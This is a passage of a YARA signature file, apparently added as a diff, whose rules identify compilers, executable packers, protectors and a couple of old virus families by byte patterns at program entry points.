+rule _BeRo_Tiny_Pascal__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRo Tiny Pascal -> BeRo / Farbrausch"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WinKript_v10__Mr_Crimson_h_
+{
+	meta:
+		description = "WinKript v1.0 -> Mr. Crimson (h)"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_09910_
+{
+	meta:
+		description = "Free Pascal 0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+	condition:
+		$0
+}
+rule _ACProtect_V13X__risco_
+{
+	meta:
+		description = "ACProtect V1.3X -> risco"
+	strings:
+		$0 = {60 50 E8 01 00 00 00 75 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_71_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.1"
+	strings:
+		$0 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+		$1 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+		$2 = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+	condition:
+		$0 or $1 or $2
+}
+rule _PseudoSigner_01_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] --> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PEtite_2x_level_0__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEtite 2.x (level 0)] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_com_
+{
+	meta:
+		description = "UPX [com]"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+	condition:
+		$0 at entrypoint
+}
+rule _vprotector_12__vcasm_
+{
+	meta:
+		description = "vprotector 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108_
+{
+	meta:
+		description = "ASPack v1.08"
+	strings:
+		$0 = {90 75 01 FF E9}
+		$1 = {90 90 90 75 01 FF E9}
+		$2 = {90 90 75 01 FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SimplePack_V1X_Method1__bagie_
+{
+	meta:
+		description = "SimplePack V1.X (Method1) -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_v09_
+{
+	meta:
+		description = "PE Protect v0.9"
+	strings:
+		$0 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+		$1 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+		$1 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v031a_
+{
+	meta:
+		description = "[MSLRH] v0.31a"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+	condition:
+		$0
+}
+rule _nPack_V111502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+		$1 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeBASIC_v011_
+{
+	meta:
+		description = "FreeBASIC v0.11"
+	strings:
+		$0 = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Shegerd_Dongle_V478__MSCo_
+{
+	meta:
+		description = "Shegerd Dongle V4.78 -> MS.Co."
+	strings:
+		$0 = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ DLL"
+	strings:
+		$0 = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+		$1 = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+		$2 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+		$3 = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _eXPressor_v13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+	condition:
+		$0
+}
+rule _PE_Lock_NT_v202c_
+{
+	meta:
+		description = "PE Lock NT v2.02c"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_
+{
+	meta:
+		description = "JDPack"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DBPE_v153_
+{
+	meta:
+		description = "DBPE v1.53"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VirusConstructorIVPbased_
+{
+	meta:
+		description = "Vx: VirusConstructor(IVP).based"
+	strings:
+		$0 = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_2_
+{
+	meta:
+		description = "Petite v2.1 (2)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_Console_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (Console)"
+	strings:
+		$0 = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _Anticrack_Software_Protector_v109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector v1.09 (ACProtect)"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+		$1 = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_v062_
+{
+	meta:
+		description = "aPack v0.62"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VBOX 4.3 MTE] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+		$1 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_v13037__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.37 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT2Family_
+{
+	meta:
+		description = "Vx: GRUNT.2.Family"
+	strings:
+		$0 = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_024_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.24 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v094_
+{
+	meta:
+		description = "PECompact v0.94"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Hide_PE_101__BGCorp_
+{
+	meta:
+		description = "Hide PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+		$1 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hsigned_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)"
+	strings:
+		$0 = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+	condition:
+		$0
+}
+rule _EXECryptor_2x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.x -> SoftComplete Developement"
+	strings:
+		$0 = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+	condition:
+		$0
+}
+rule _DrWeb_VirusFinding_Engine__InSoft_EDVSysteme_
+{
+	meta:
+		description = "Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme"
+	strings:
+		$0 = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v145__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.4.5 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AINEXE_v230_
+{
+	meta:
+		description = "AINEXE v2.30"
+	strings:
+		$0 = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+	condition:
+		$0 at entrypoint
+}
+rule _PKZIPSFX_v11_198990_
+{
+	meta:
+		description = "PKZIP-SFX v1.1 1989-90"
+	strings:
+		$0 = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_21_
+{
+	meta:
+		description = "Petite 2.1"
+	strings:
+		$0 = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+	condition:
+		$0
+}
+rule _ASPack_v103b_
+{
+	meta:
+		description = "ASPack v1.03b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+		$1 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoodleCrypt_v200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt v2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v11_
+{
+	meta:
+		description = "EXE Stealth v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_exe_
+{
+	meta:
+		description = "aPack v0.98b [exe]"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0
+}
+rule _iLUCRYPT_v4018_exe_
+{
+	meta:
+		description = "iLUCRYPT v4.018 [exe]"
+	strings:
+		$0 = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_099_
+{
+	meta:
+		description = "PE-PACK 0.99"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v05c_m2_
+{
+	meta:
+		description = "T-PACK v0.5c -m2"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+	condition:
+		$0 at entrypoint
+}
+rule _RAZOR_1911_encruptor_
+{
+	meta:
+		description = "RAZOR 1911 encruptor"
+	strings:
+		$0 = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b5_
+{
+	meta:
+		description = "PECompact v1.10b5"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+	condition:
+		$0 at entrypoint
+}
+rule _PeStubOEP_v1x_
+{
+	meta:
+		description = "PeStubOEP v1.x"
+	strings:
+		$0 = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+		$1 = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+		$2 = {B8 ?? ?? ?? 00 FF E0}
+	condition:
+		$0 or $1 or $2
+}
+rule _PE_Lock_v106_
+{
+	meta:
+		description = "PE Lock v1.06"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10A__vcasm_
+{
+	meta:
+		description = "VProtector V1.0A -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Unpacked_BSSFX_Archive_v19_
+{
+	meta:
+		description = "Unpacked BS-SFX Archive v1.9"
+	strings:
+		$0 = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v42_MTE_
+{
+	meta:
+		description = "VBOX v4.2 MTE"
+	strings:
+		$0 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+	condition:
+		$0 at entrypoint
+}
+rule _Yodas_Protector_v1032_Beta2__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_V2X_Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact V2.X-> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_V10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman V1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V10__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+		$1 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DEF 1.0] --> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+		$1 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_v07__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v0.7 -> Cyberbob (h)"
+	strings:
